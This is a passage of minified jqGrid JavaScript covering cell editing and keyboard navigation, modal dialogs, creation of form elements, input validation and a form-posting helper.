r=Ye(e).jqGrid("getGridRowById",e.p.savedRow[t].rowId),r=Ye("td",r).eq(o);if(Ye.jgrid.isFunction(Ye.fn.datepicker))try{Ye("input.hasDatepicker",r).datepicker("hide")}catch(e){}Ye(r).empty().attr("tabindex","-1"),Ye(e).jqGrid("setCell",e.p.savedRow[0].rowId,o,e.p.savedRow[t].v,!1,!1,!0),Ye(e).triggerHandler("jqGridAfterRestoreCell",[e.p.savedRow[t].rowId,e.p.savedRow[t].v,i,o]),Ye.jgrid.isFunction(e.p.afterRestoreCell)&&e.p.afterRestoreCell.call(e,e.p.savedRow[t].rowId,e.p.savedRow[t].v,i,o),e.p.savedRow.splice(0,1)}window.setTimeout(function(){Ye("#"+e.p.knv).attr("tabindex","-1").focus(),e.p.ariaBody&&Ye(e).jqGrid("focusBodyCell",e.p.iRow,e.p.iCol)},0)}})},nextCell:function(i,o,a){var n;return this.each(function(){var e,t=this,r=!1;if(t.grid&&!0===t.p.cellEdit){for(e=o+1;e<t.p.colModel.length;e++)if(!0===t.p.colModel[e].editable&&(!Ye.jgrid.isFunction(t.p.isCellEditable)||t.p.isCellEditable.call(t,t.p.colModel[e].name,i,e))){r=e;break}!1!==r?(n=!0,Ye(t).jqGrid("editCell",i,r,!0,a)):(n=!1,0<t.p.savedRow.length&&Ye(t).jqGrid("saveCell",i,o))}}),n},prevCell:function(i,o,a){var n;return this.each(function(){var e,t=this,r=!1;if(!t.grid||!0!==t.p.cellEdit)return!1;for(e=o-1;0<=e;e--)if(!0===t.p.colModel[e].editable&&(!Ye.jgrid.isFunction(t.p.isCellEditable)||t.p.isCellEditable.call(t,t.p.colModel[e].name,i,e))){r=e;break}!1!==r?(n=!0,Ye(t).jqGrid("editCell",i,r,!0,a)):(n=!1,0<t.p.savedRow.length&&Ye(t).jqGrid("saveCell",i,o))}),n},GridNav:function(){return this.each(function(){var e,t,r,l=this;function i(e,t,r){var i,o,a,n;"v"===r.slice(0,1)&&(i=Ye(l.grid.bDiv)[0].clientHeight,n=Ye(l.grid.bDiv)[0].scrollTop,o=l.rows[e].offsetTop+l.rows[e].clientHeight,a=l.rows[e].offsetTop,"vd"===r&&i<=o&&(Ye(l.grid.bDiv)[0].scrollTop=Ye(l.grid.bDiv)[0].scrollTop+l.rows[e].clientHeight),"vu"===r)&&a<n&&(Ye(l.grid.bDiv)[0].scrollTop=Ye(l.grid.bDiv)[0].scrollTop-l.rows[e].clientHeight),"h"===r&&(i=Ye(l.grid.bDiv)[0].clientWidth,o=Ye(l.grid.bDiv)[0].scrollLeft,a=l.rows[e].cells[t].offsetLeft+l.rows[e].cells[t].clientWidth,n=l.rows[e].cells[t].offsetLeft,a>=i+parseInt(o,10)?Ye(l.grid.bDiv)[0].scrollLeft=Ye(l.grid.bDiv)[0].scrollLeft+l.rows[e].cells[t].clientWidth:n<o&&(Ye(l.grid.bDiv)[0].scrollLeft=Ye(l.grid.bDiv)[0].scrollLeft-l.rows[e].cells[t].clientWidth))}function o(e,t){var r,i;if("lft"===t)for(r=e+1,i=e;0<=i;i--)if(!0!==l.p.colModel[i].hidden){r=i;break}if("rgt"===t)for(r=e-1,i=e;i<l.p.colModel.length;i++)if(!0!==l.p.colModel[i].hidden){r=i;break}return r}l.grid&&!0===l.p.cellEdit&&(l.p.knv=l.p.id+"_kn",e=Ye("<div style='position:fixed;top:0px;width:1px;height:1px;' tabindex='0'><div tabindex='-1' style='width:1px;height:1px;' id='"+l.p.knv+"'></div></div>"),Ye(e).insertBefore(l.grid.cDiv),Ye("#"+l.p.knv).focus().keydown(function(e){switch(r=e.keyCode,"rtl"===l.p.direction&&(37===r?r=39:39===r&&(r=37)),r){case 38:0<l.p.iRow-1&&(i(l.p.iRow-1,l.p.iCol,"vu"),Ye(l).jqGrid("editCell",l.p.iRow-1,l.p.iCol,!1,e));break;case 40:l.p.iRow+1<=l.rows.length-1&&(i(l.p.iRow+1,l.p.iCol,"vd"),Ye(l).jqGrid("editCell",l.p.iRow+1,l.p.iCol,!1,e));break;case 37:0<=l.p.iCol-1&&(t=o(l.p.iCol-1,"lft"),i(l.p.iRow,t,"h"),Ye(l).jqGrid("editCell",l.p.iRow,t,!1,e));break;case 39:l.p.iCol+1<=l.p.colModel.length-1&&(t=o(l.p.iCol+1,"rgt"),i(l.p.iRow,t,"h"),Ye(l).jqGrid("editCell",l.p.iRow,t,!1,e));break;case 13:0<=parseInt(l.p.iCol,10)&&0<=parseInt(l.p.iRow,10)&&(e.preventDefault(),Ye(l).jqGrid("editCell",l.p.iRow,l.p.iCol,!0,e));break;default:return!0}return!1}))})},getChangedCells:function(a){var e=[];return a=a||"all",this.each(function(){var i,o=this;o.grid&&!0===o.p.cellEdit&&Ye(o.rows).each(function(t){var r={};Ye(this).hasClass("edited")&&(Ye("td",this).each(function(e){if("cb"!==(i=o.p.colModel[e].name)&&"subgrid"!==i&&"sc"!==i)if("dirty"===a){if(Ye(this).hasClass("dirty-cell"))try{r[i]=Ye.unformat.call(o,this,{rowId:o.rows[t].id,colModel:o.p.colModel[e]},e)}catch(e){r[i]=Ye.jgrid.htmlDecode(Ye(this).html())}}else try{r[i]=Ye.unformat.call(o,this,{rowId:o.rows[t].id,colModel:o.p.colModel[e]},e)}catch(e){r[i]=Ye.jgrid.htmlDecode(Ye(this).html())}}),r.id=this.id,e.push(r))})}),e}}),Ye.extend(Ye.jgrid,{showModal:function(e){e.w.show()},closeModal:function(e){e.w.hide().attr("aria-hidden","true"),e.o&&e.o.remove()},hideModal:function(e,t){var r,i,o=!(!(t=Ye.extend({jqm:!0,gb:"",removemodal:!1,formprop:!1,form:""},t||{})).gb||"string"!=typeof t.gb||"#gbox_"!==t.gb.slice(0,6))&&Ye("#"+t.gb.slice(6))[0];if(t.onClose){var a=o?t.onClose.call(o,e):t.onClose(e);if("boolean"==typeof a&&!a)return}if(t.formprop&&o&&t.form&&("edit"===t.form?(r="#"+Ye.jgrid.jqID("FrmGrid_"+t.gb.slice(6)),i="formProp"):"view"===t.form&&(r="#"+Ye.jgrid.jqID("ViewGrid_"+t.gb.slice(6)),i="viewProp"),Ye(o).data(i,{top:Ye.jgrid.floatNum(Ye(e).css("top")),left:Ye.jgrid.floatNum(Ye(e).css("left")),width:Ye.jgrid.floatNum(Ye(e)[0].style.width),height:Ye.jgrid.floatNum(Ye(e)[0].style.height),dataheight:Ye(r).height(),datawidth:Ye(r).width()})),Ye.fn.jqm&&!0===t.jqm)Ye(e).attr("aria-hidden","true").jqmHide();else{if(""!==t.gb)try{Ye(t.gb).find(".jqgrid-overlay").first().hide()}catch(e){}try{Ye(".jqgrid-overlay-modal").hide()}catch(e){}Ye(e).hide().attr("aria-hidden","true")}t.removemodal&&Ye(e).remove()},findPos:function(e){e=Ye(e).offset();return[e.left,e.top]},createModal:function(r,e,i,t,o,a,n){i=Ye.extend(!0,{},Ye.jgrid.jqModal||{},i);var l=this,s="rtl"===Ye(i.gbox).attr("dir"),d=Ye.jgrid.styleUI[i.styleUI||"jQueryUI"].modal,p=Ye.jgrid.styleUI[i.styleUI||"jQueryUI"].common,c=document.createElement("div"),u=(n=Ye.extend({},n||{}),c.className="ui-jqdialog "+d.modal,c.id=r.themodal,document.createElement("div")),h=(u.className="ui-jqdialog-titlebar "+d.header,u.id=r.modalhead,Ye(u).append("<span class='ui-jqdialog-title "+d.title+"'>"+i.caption+"</span>"),Ye("<a class='ui-jqdialog-titlebar-close "+p.cornerall+"' aria-label='Close'></a>").hover(function(){h.addClass(p.hover)},function(){h.removeClass(p.hover)}).append("<span class='"+p.icon_base+" "+d.icon_close+"'></span>")),g=(Ye(u).append(h),s?(c.dir="rtl",Ye(".ui-jqdialog-title",u).css("float","right"),Ye(".ui-jqdialog-titlebar-close",u).css("left","0.3em")):(c.dir="ltr",Ye(".ui-jqdialog-title",u).css("float","left"),Ye(".ui-jqdialog-titlebar-close",u).css("right","0.3em")),document.createElement("div")),e=(Ye(g).addClass("ui-jqdialog-content "+d.content).attr("id",r.modalcontent),Ye(g).append(e),c.appendChild(g),Ye(c).prepend(u),!0===a?Ye("body").append(c):"string"==typeof a?Ye(a).append(c):Ye(c).insertBefore(t),Ye(c).css(n),void 0===i.jqModal&&(i.jqModal=!0),{});if(Ye.fn.jqm&&!0===i.jqModal?(0===i.left&&0===i.top&&i.overlay&&(g=[],g=Ye.jgrid.findPos(o),i.left=g[0]+4,i.top=g[1]+4,s)&&!a&&(i.left=Ye(i.gbox).outerWidth()-(isNaN(i.width)?300:parseInt(i.width,10))),e.top=i.top+"px",e.left=i.left+"px"):0===i.left&&0===i.top||(e.left=i.left+"px",e.top=i.top+"px"),Ye("a.ui-jqdialog-titlebar-close",u).click(function(){var e=Ye("#"+Ye.jgrid.jqID(r.themodal)).data("onClose")||i.onClose,t=Ye("#"+Ye.jgrid.jqID(r.themodal)).data("gbox")||i.gbox;return l.hideModal("#"+Ye.jgrid.jqID(r.themodal),{gb:t,jqm:i.jqModal,onClose:e,removemodal:i.removemodal||!1,formprop:!i.recreateForm||!1,form:i.form||""}),!1}),0!==i.width&&i.width||(i.width=300),0!==i.height&&i.height||(i.height=200),i.zIndex||(n=Ye(t).parents("*[role=dialog]").first().css("z-index"),i.zIndex=n?parseInt(n,10)+2:950),Ye(c).css(Ye.extend({width:isNaN(i.width)?"auto":i.width+"px",height:isNaN(i.height)?"auto":i.height+"px",zIndex:i.zIndex,overflow:"hidden"},e)).attr({tabIndex:"-1",role:"dialog","aria-labelledby":r.modalhead,"aria-hidden":"true"}),void 0===i.drag&&(i.drag=!0),void 0===i.resize&&(i.resize=!0),i.drag)if(Ye(u).css("cursor","move"),Ye.fn.tinyDraggable)Ye(c).tinyDraggable({handle:"#"+Ye.jgrid.jqID(u.id)});else try{Ye(c).draggable({handle:Ye("#"+Ye.jgrid.jqID(u.id))})}catch(e){}if(i.resize)if(Ye.fn.jqResize)Ye(c).append("<div class='jqResize "+d.resizable+" "+p.icon_base+" "+d.icon_resizable+"'></div>"),Ye("#"+Ye.jgrid.jqID(r.themodal)).jqResize(".jqResize",!!r.scrollelm&&"#"+Ye.jgrid.jqID(r.scrollelm));else try{Ye(c).resizable({handles:"se, sw",alsoResize:!!r.scrollelm&&"#"+Ye.jgrid.jqID(r.scrollelm)})}catch(e){}!0===i.closeOnEscape&&Ye(c).keydown(function(e){27===e.which&&(e=Ye("#"+Ye.jgrid.jqID(r.themodal)).data("onClose")||i.onClose,l.hideModal("#"+Ye.jgrid.jqID(r.themodal),{gb:i.gbox,jqm:i.jqModal,onClose:e,removemodal:i.removemodal||!1,formprop:!i.recreateForm||!1,form:i.form||""}))})},viewModal:function(e,t){var r="";if((t=Ye.extend({toTop:!0,overlay:10,modal:!1,overlayClass:"ui-widget-overlay",onShow:Ye.jgrid.showModal,onHide:Ye.jgrid.closeModal,gbox:"",jqm:!0,jqM:!0},t||{})).gbox){var i=Ye("#"+t.gbox.substring(6))[0];try{r=Ye(i).jqGrid("getStyleUI",i.p.styleUI+".common","overlay",!1,"jqgrid-overlay-modal"),t.overlayClass=Ye(i).jqGrid("getStyleUI",i.p.styleUI+".common","overlay",!0)}catch(e){}}if(void 0===t.focusField&&(t.focusField=0),"number"==typeof t.focusField&&0<=t.focusField?t.focusField=parseInt(t.focusField,10):"boolean"!=typeof t.focusField||t.focusField?t.focusField=0:t.focusField=!1,Ye.fn.jqm&&!0===t.jqm)(t.jqM?Ye(e).attr("aria-hidden","false").jqm(t):Ye(e).attr("aria-hidden","false")).jqmShow();else if(""!==t.gbox&&(i=parseInt(Ye(e).css("z-index"))-1,t.modal?(Ye(".jqgrid-overlay-modal")[0]||Ye("body").prepend("<div "+r+"></div>"),Ye(".jqgrid-overlay-modal").css("z-index",i).show()):(Ye(t.gbox).find(".jqgrid-overlay").first().css("z-index",i).show(),Ye(e).data("gbox",t.gbox))),Ye(e).show().attr("aria-hidden","false"),0<=t.focusField)try{Ye(":input:visible",e)[t.focusField].focus()}catch(e){}},info_dialog:function(e,t,r,i){var o,a={width:350,height:"auto",dataheight:"auto",drag:!0,resize:!1,left:window.innerWidth/2-145,top:window.innerHeight/2-150,zIndex:1e3,jqModal:!0,modal:!1,closeOnEscape:!0,align:"center",buttonalign:"center",buttons:[],overlay:10,overlayClass:""},n=(Ye.extend(!0,a,Ye.jgrid.jqModal||{},{caption:"<b>"+e+"</b>"},i||{}),a.jqModal),l=this,e=Ye.jgrid.styleUI[a.styleUI||Ye.jgrid.defaults.styleUI||"jQueryUI"].modal,s=Ye.jgrid.styleUI[a.styleUI||Ye.jgrid.defaults.styleUI||"jQueryUI"].common,d=(a.overlayClass||(a.overlayClass=s.overlay),Ye.fn.jqm&&!n&&(n=!1),"");if(0<a.buttons.length)for(o=0;o<a.buttons.length;o++)void 0===a.buttons[o].id&&(a.buttons[o].id="info_button_"+o),d+="<a id='"+a.buttons[o].id+"' class='fm-button "+s.button+"'>"+a.buttons[o].text+"</a>";var i=isNaN(a.dataheight)?a.dataheight:a.dataheight+"px",p="text-align:"+a.align+";",c="<div id='info_id'>",c=(c+="<div id='infocnt' class='"+e.body+"' style='margin:0px;padding-bottom:1em;width:100%;overflow:auto;position:relative;height:"+i+";"+p+"'>"+t+"</div>")+(r?"<div class='"+e.footer+"' style='text-align:"+a.buttonalign+";padding-bottom:0.8em;padding-top:0.5em;background-image: none;border-width: 1px 0 0 0;'><a id='closedialog' class='fm-button "+s.button+"'>"+r+"</a>"+d+"</div>":""!==d?"<div class='"+e.footer+"' style='text-align:"+a.buttonalign+";padding-bottom:0.8em;padding-top:0.5em;background-image: none;border-width: 1px 0 0 0;'>"+d+"</div>":"")+"</div>";try{"false"===Ye("#info_dialog").attr("aria-hidden")&&Ye.jgrid.hideModal("#info_dialog",{jqm:n}),Ye("#info_dialog").remove()}catch(e){}i=Ye(".ui-jqgrid").css("font-size")||"11px";Ye.jgrid.createModal({themodal:"info_dialog",modalhead:"info_head",modalcontent:"info_content",scrollelm:"infocnt"},c,a,"","",!0,{"font-size":i}),d&&Ye.each(a.buttons,function(e){Ye("#"+Ye.jgrid.jqID(this.id),"#info_id").on("click",function(){return a.buttons[e].onClick.call(Ye("#info_dialog")),!1})}),Ye("#closedialog","#info_id").on("click",function(){return l.hideModal("#info_dialog",{jqm:n,onClose:Ye("#info_dialog").data("onClose")||a.onClose,gb:Ye("#info_dialog").data("gbox")||a.gbox}),!1}),Ye(".fm-button","#info_dialog").hover(function(){Ye(this).addClass(s.hover)},function(){Ye(this).removeClass(s.hover)}),Ye.jgrid.isFunction(a.beforeOpen)&&a.beforeOpen(),Ye.jgrid.viewModal("#info_dialog",{onHide:function(e){e.w.hide().remove(),e.o&&e.o.remove()},modal:a.modal,jqm:n,overlay:a.overlay,overlayClass:a.overlayClass}),Ye.jgrid.isFunction(a.afterOpen)&&a.afterOpen();try{Ye("#info_dialog").focus()}catch(e){}},bindEv:function(e,r){Ye.jgrid.isFunction(r.dataInit)&&r.dataInit.call(this,e,r),r.dataEvents&&Ye.each(r.dataEvents,function(){var t=this.fn;void 0!==this.data?Ye(e).on(this.type,this.data,function(e){t.call(this,e,r)}):Ye(e).on(this.type,function(e){t.call(this,e,r)})})},createEl:function(e,t,r,i,o){var a="",c=this;function u(r,e,t){var i=(i=["dataInit","dataEvents","dataUrl","buildSelect","sopt","searchhidden","defaultValue","attr","custom_element","custom_value","oper"]).concat(["cacheUrlData","delimiter","separator"]);void 0!==t&&Array.isArray(t)&&Ye.merge(i,t),Ye.each(e,function(e,t){-1===Ye.inArray(e,i)&&Ye(r).attr(e,t)}),e.hasOwnProperty("id")||Ye(r).attr("id",Ye.jgrid.randId())}switch(e){case"textarea":a=document.createElement("textarea"),i?t.cols||Ye(a).css({width:"98%"}):t.cols||(t.cols=20),t.rows||(t.rows=2),(" "===r||" "===r||1===r.length&&160===r.charCodeAt(0))&&(r=""),a.value=r,Ye(a).attr({role:"textbox",multiline:"true"}),u(a,t);break;case"checkbox":(a=document.createElement("input")).type="checkbox",t.value?(r===(d=t.value.split(":"))[0]&&(a.checked=!0,a.defaultChecked=!0),a.value=d[0],Ye(a).attr("offval",d[1])):((d=(r+"").toLowerCase()).search(/(false|f|0|no|n|off|undefined)/i)<0&&""!==d?(a.checked=!0,a.defaultChecked=!0,a.value=r):a.value="on",Ye(a).attr("offval","off")),Ye(a).attr("role","checkbox"),u(a,t,["value"]);break;case"select":(a=document.createElement("select")).setAttribute("role","listbox");var n,l,s=[];if(!0===t.multiple?(n=!0,a.multiple="multiple",Ye(a).attr("aria-multiselectable","true")):n=!1,null!=t.dataUrl){var d=null,h=t.postData||o.postData;try{d=t.rowId}catch(e){}c.p&&c.p.idPrefix&&(d=Ye.jgrid.stripPref(c.p.idPrefix,d)),Ye.ajax(Ye.extend({url:Ye.jgrid.isFunction(t.dataUrl)?t.dataUrl.call(c,d,r,String(t.name)):t.dataUrl,type:"GET",dataType:"html",data:Ye.jgrid.isFunction(h)?h.call(c,d,r,String(t.name)):h,context:{elem:a,options:t,vl:r},success:function(e){var t,r,i=[],o=this.elem,a=this.vl,n=Ye.extend({},this.options),l=!0===n.multiple,s=!0===n.cacheUrlData,d="",p=[],e=Ye.jgrid.isFunction(n.buildSelect)?n.buildSelect.call(c,e):e;(e="string"==typeof e?Ye(Ye.jgrid.trim(e)).html():e)&&(Ye(o).append(e),u(o,n,h?["postData"]:void 0),void 0===n.size&&(n.size=l?3:1),l?(e=void 0===n.multiseparator?",":n.multiseparator,i=a.split(e),i=Ye.map(i,function(e){return Ye.jgrid.trim(e)})):i[0]=Ye.jgrid.trim(a),Ye("option",o).each(function(e){t=Ye(this).text(),a=Ye(this).val(),s&&(d+=(0!==e?";":"")+a+":"+t),0===e&&o.multiple&&(this.selected=!1),Ye(this).attr("role","option"),(-1<Ye.inArray(Ye.jgrid.trim(t),i)||-1<Ye.inArray(Ye.jgrid.trim(a),i))&&(this.selected="selected",p.push(a))}),n.hasOwnProperty("checkUpdate")&&n.checkUpdate&&(c.p.savedData[n.name]=p.join(",")),s&&("edit"===n.oper?Ye(c).jqGrid("setColProp",n.name,{editoptions:{buildSelect:null,dataUrl:null,value:d}}):"search"===n.oper?Ye(c).jqGrid("setColProp",n.name,{searchoptions:{dataUrl:null,value:d}}):"filter"===n.oper&&Ye("#fbox_"+c.p.id)[0].p&&(l=Ye("#fbox_"+c.p.id)[0].p.columns,Ye.each(l,function(e){if(r=this.index||this.name,n.name===r)return this.searchoptions.dataUrl=null,this.searchoptions.value=d,!1}))),Ye(c).triggerHandler("jqGridAddEditAfterSelectUrlComplete",[o]))}},o||{}))}else if(t.value){void 0===t.size&&(t.size=n?3:1),n&&(s=r.split(","),s=Ye.map(s,function(e){return Ye.jgrid.trim(e)})),"function"==typeof t.value&&(t.value=t.value.call(c,r,t));var p,g,f,m,v,j,b=void 0===t.separator?":":t.separator,d=void 0===t.delimiter?";":t.delimiter;if("string"==typeof t.value)for(p=t.value.split(d),l=0;l<p.length;l++)2<(g=p[l].split(b)).length&&(g[1]=Ye.map(g,function(e,t){if(0<t)return e}).join(b)),(f=document.createElement("option")).setAttribute("role","option"),f.value=g[0],f.innerHTML=g[1],0==g[1].length&&f.setAttribute("aria-label","none"),a.appendChild(f),n||Ye.jgrid.trim(g[0])!==Ye.jgrid.trim(r)&&Ye.jgrid.trim(g[1])!==Ye.jgrid.trim(r)||(f.selected="selected"),n&&(-1<Ye.inArray(Ye.jgrid.trim(g[1]),s)||-1<Ye.inArray(Ye.jgrid.trim(g[0]),s))&&(f.selected="selected");else if("[object Array]"===Object.prototype.toString.call(t.value))for(m=t.value,l=0;l<m.length;l++)2===m[l].length&&(v=m[l][0],j=m[l][1],(f=document.createElement("option")).setAttribute("role","option"),f.value=v,0==(f.innerHTML=j).length&&f.setAttribute("aria-label","none"),a.appendChild(f),n||Ye.jgrid.trim(v)!==Ye.jgrid.trim(r)&&Ye.jgrid.trim(j)!==Ye.jgrid.trim(r)||(f.selected="selected"),n)&&(-1<Ye.inArray(Ye.jgrid.trim(j),s)||-1<Ye.inArray(Ye.jgrid.trim(v),s))&&(f.selected="selected");else if("object"==typeof t.value)for(v in m=t.value)m.hasOwnProperty(v)&&((f=document.createElement("option")).setAttribute("role","option"),f.value=v,f.innerHTML=m[v],0==m[v].length&&f.setAttribute("aria-label","none"),a.appendChild(f),n||Ye.jgrid.trim(v)!==Ye.jgrid.trim(r)&&Ye.jgrid.trim(m[v])!==Ye.jgrid.trim(r)||(f.selected="selected"),n)&&(-1<Ye.inArray(Ye.jgrid.trim(m[v]),s)||-1<Ye.inArray(Ye.jgrid.trim(v),s))&&(f.selected="selected");u(a,t,["value"])}else u(a,t);break;case"image":case"file":(a=document.createElement("input")).type=e,u(a,t);break;case"custom":a=document.createElement("span");try{if(!Ye.jgrid.isFunction(t.custom_element))throw"e1";var y=t.custom_element.call(c,r,t);if(!y)throw"e2";y=Ye(y).addClass("customelement").attr({id:t.id,name:t.name}),Ye(a).empty().append(y)}catch(e){d=Ye.jgrid.getRegional(c,"errors"),y=Ye.jgrid.getRegional(c,"edit");"e1"===e?Ye.jgrid.info_dialog(d.errcap,"function 'custom_element' "+y.msg.nodefined,y.bClose,{styleUI:c.p.styleUI}):"e2"===e?Ye.jgrid.info_dialog(d.errcap,"function 'custom_element' "+y.msg.novalue,y.bClose,{styleUI:c.p.styleUI}):Ye.jgrid.info_dialog(d.errcap,"string"==typeof e?e:e.message,y.bClose,{styleUI:c.p.styleUI})}break;default:d="button"===e?"button":"textbox";(a=document.createElement("input")).type=e,a.value=r,"button"!==e&&(i?t.size||Ye(a).css({width:"96%"}):t.size||(t.size=20)),Ye(a).attr("role",d),u(a,t)}return a},checkDate:function(e,t){var r={},i=-1!==(e=e.toLowerCase()).indexOf("/")?"/":-1!==e.indexOf("-")?"-":-1!==e.indexOf(".")?".":"/";if(e=e.split(i),3!==(t=t.split(i)).length)return!1;for(var o=-1,a=-1,n=-1,l=0;l<e.length;l++){var s=isNaN(t[l])?0:parseInt(t[l],10);r[e[l]]=s,-1!==(d=e[l]).indexOf("y")&&(o=l),-1!==d.indexOf("m")&&(n=l),-1!==d.indexOf("d")&&(a=l)}var d="y"===e[o]||"yyyy"===e[o]?4:"yy"===e[o]?2:-1;return-1!==o&&(i=r[e[o]].toString(),2===d&&1===i.length&&(d=1),i.length===d)&&(0!==r[e[o]]||"00"===t[o])&&-1!==n&&!(r[e[n]].toString().length<1||r[e[n]]<1||12<r[e[n]]||-1===a||r[e[a]].toString().length<1||r[e[a]]<1||31<r[e[a]]||2===r[e[n]]&&r[e[a]]>((i=r[e[o]])%4!=0||i%100==0&&i%400!=0?28:29)||r[e[a]]>[0,31,29,31,30,31,30,31,31,30,31,30,31][r[e[n]]])},isEmpty:function(e){return!(void 0!==e&&!e.match(/^\s+$/)&&""!==e)},checkTime:function(e){if(!Ye.jgrid.isEmpty(e)){if(!(e=e.match(/^(\d{1,2}):(\d{2})([apAP][Mm])?$/)))return!1;if(e[3]){if(e[1]<1||12<e[1])return!1}else if(23<e[1])return!1;if(59<e[2])return!1}return!0},checkValues:function(e,t,r,i){function o(e){var t,r;return!(2<=(e=e.toString()).length&&("-"===e[0]?(t=e[1],e[2]&&(r=e[2])):(t=e[0],e[1]&&(r=e[1])),"0"===t)&&"."!==r)&&"number"==typeof Number(e)&&isFinite(e)}var a,n,l,s,d,p=this,c=p.p.colModel,u=Ye.jgrid.getRegional(this,"edit.msg");if(void 0===r)if("string"==typeof t){for(n=0,d=c.length;n<d;n++)if(c[n].name===t){a=c[n].editrules,null!=c[t=n].formoptions&&(l=c[n].formoptions.label);break}}else 0<=t&&(a=c[t].editrules);else a=r,l=void 0===i?"_":i;if(a){if(l=l||(null!=p.p.colNames?p.p.colNames[t]:c[t].label),!0===a.required&&Ye.jgrid.isEmpty(e))return[!1,l+": "+u.required,""];r=!1!==a.required;if(!0===a.number&&!(!1==r&&Ye.jgrid.isEmpty(e)||o(e)))return[!1,l+": "+u.number,""];if(void 0!==a.minValue&&!isNaN(a.minValue)&&Ye.jgrid.floatNum(e)<Ye.jgrid.floatNum(a.minValue))return[!1,l+": "+u.minValue+" "+a.minValue,""];if(void 0!==a.maxValue&&!isNaN(a.maxValue)&&Ye.jgrid.floatNum(e)>Ye.jgrid.floatNum(a.maxValue))return[!1,l+": "+u.maxValue+" "+a.maxValue,""];if(!0===a.email&&!(!1==r&&Ye.jgrid.isEmpty(e)||/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i.test(e)))return[!1,l+": "+u.email,""];if(!0===a.integer&&(!1!=r||!Ye.jgrid.isEmpty(e))){if(!o(e))return[!1,l+": "+u.integer,""];if(e%1!=0||-1!==e.indexOf("."))return[!1,l+": "+u.integer,""]}if(!0===a.date&&!(!1==r&&Ye.jgrid.isEmpty(e)||(c[t].formatoptions&&c[t].formatoptions.newformat?(s=c[t].formatoptions.newformat,(i=Ye.jgrid.getRegional(p,"formatter.date.masks"))&&i.hasOwnProperty(s)&&(s=i[s])):s=c[t].datefmt||"Y-m-d",Ye.jgrid.checkDate(s,e))))return[!1,l+": "+u.date+" - "+s,""];if(!0===a.time&&!(!1==r&&Ye.jgrid.isEmpty(e)||Ye.jgrid.checkTime(e)))return[!1,l+": "+u.date+" - hh:mm (am/pm)",""];if(!0===a.url&&!(!1==r&&Ye.jgrid.isEmpty(e)||/^(((https?)|(ftp)):\/\/([\-\w]+\.)+\w{2,3}(\/[%\-\w]+(\.\w{2,})?)*(([\w\-\.\?\\\/+@&#;`~=%!]*)(\.\w{2,})?)*\/?)/i.test(e)))return[!1,l+": "+u.url,""];if(!0===a.custom)if(!1!=r||!Ye.jgrid.isEmpty(e))return Ye.jgrid.isFunction(a.custom_func)?(i=a.custom_func.call(p,e,l,t),Array.isArray(i)?i:[!1,u.customarray,""]):[!1,u.customfcheck,""]}return[!0,"",""]},validateForm:function(e){for(var t,r=!0,i=0;i<e.elements.length;i++)if(("INPUT"===(t=e.elements[i]).nodeName||"TEXTAREA"===t.nodeName||"SELECT"===t.nodeName)&&(void 0!==t.willValidate?("INPUT"===t.nodeName&&t.type!==t.getAttribute("type")&&t.setCustomValidity(Ye.jgrid.LegacyValidation(t)?"":"error"),t.reportValidity()):(t.validity=t.validity||{},t.validity.valid=Ye.jgrid.LegacyValidation(t)),!t.validity.valid)){r=!1;break}return r},LegacyValidation:function(e){var t=!0,r=e.value,i=e.getAttribute("type"),i="checkbox"===i||"radio"===i,o=e.getAttribute("required"),a=e.getAttribute("minlength"),n=e.getAttribute("maxlength"),l=e.getAttribute("pattern");return e.disabled||(t=(t=t&&(!o||i&&e.checked||!i&&""!==r))&&(i||(!a||r.length>=a)&&(!n||r.length<=n)))&&l&&(t=(l=new RegExp(l)).test(r)),t},buildButtons:function(e,r,i){var o;return Ye.each(e,function(e,t){t.id||(t.id=Ye.jgrid.randId()),t.position||(t.position="last"),t.side||(t.side="left"),o=t.icon?" fm-button-icon-"+t.side+"'><span class='"+i.icon_base+" "+t.icon+"'></span>":"'>",o="<a data-index='"+e+"' id='"+t.id+"' class='fm-button "+i.button+o+t.text+"</a>","last"===t.position?r+=o:r=o+r}),r},setSelNavIndex:function(r,i){var e=Ye(".ui-pg-button",r.p.pager);Ye.each(e,function(e,t){if(i===t)return r.p.navIndex=e,!1}),Ye(i).attr("tabindex","0")},getFirstVisibleCol:function(e){for(var t=-1,r=0;r<e.p.colModel.length;r++)if(!0!==e.p.colModel[r].hidden){t=r;break}return t},getLastVisibleCol:function(e){for(var t=-1,r=e.p.colModel.length-1;0<=r;r--)if(!0!==e.p.colModel[r].hidden){t=r;break}return t},postForm:function(e,t,r){r=r||"post";var i,o,a=document.createElement("form");for(i in a.setAttribute("method",r),a.setAttribute("action",e),t)t.hasOwnProperty(i)&&((o=document.createElement("input")).setAttribute("type","hidden"),o.setAttribute("name",i),o.setAttribute("value",t[i]),a.appendChild(o));document.body.appendChild(a),a.submit(),a.parentNode.removeChild(a)}}),Ye.fn.jqFilter=function(e){if("string"==typeof e){var t,r=Ye.fn.jqFilter[e];if(r)return t=Ye.makeArray(arguments).slice(1),r.apply(this,t);throw"jqFilter - No such method: "+e}var 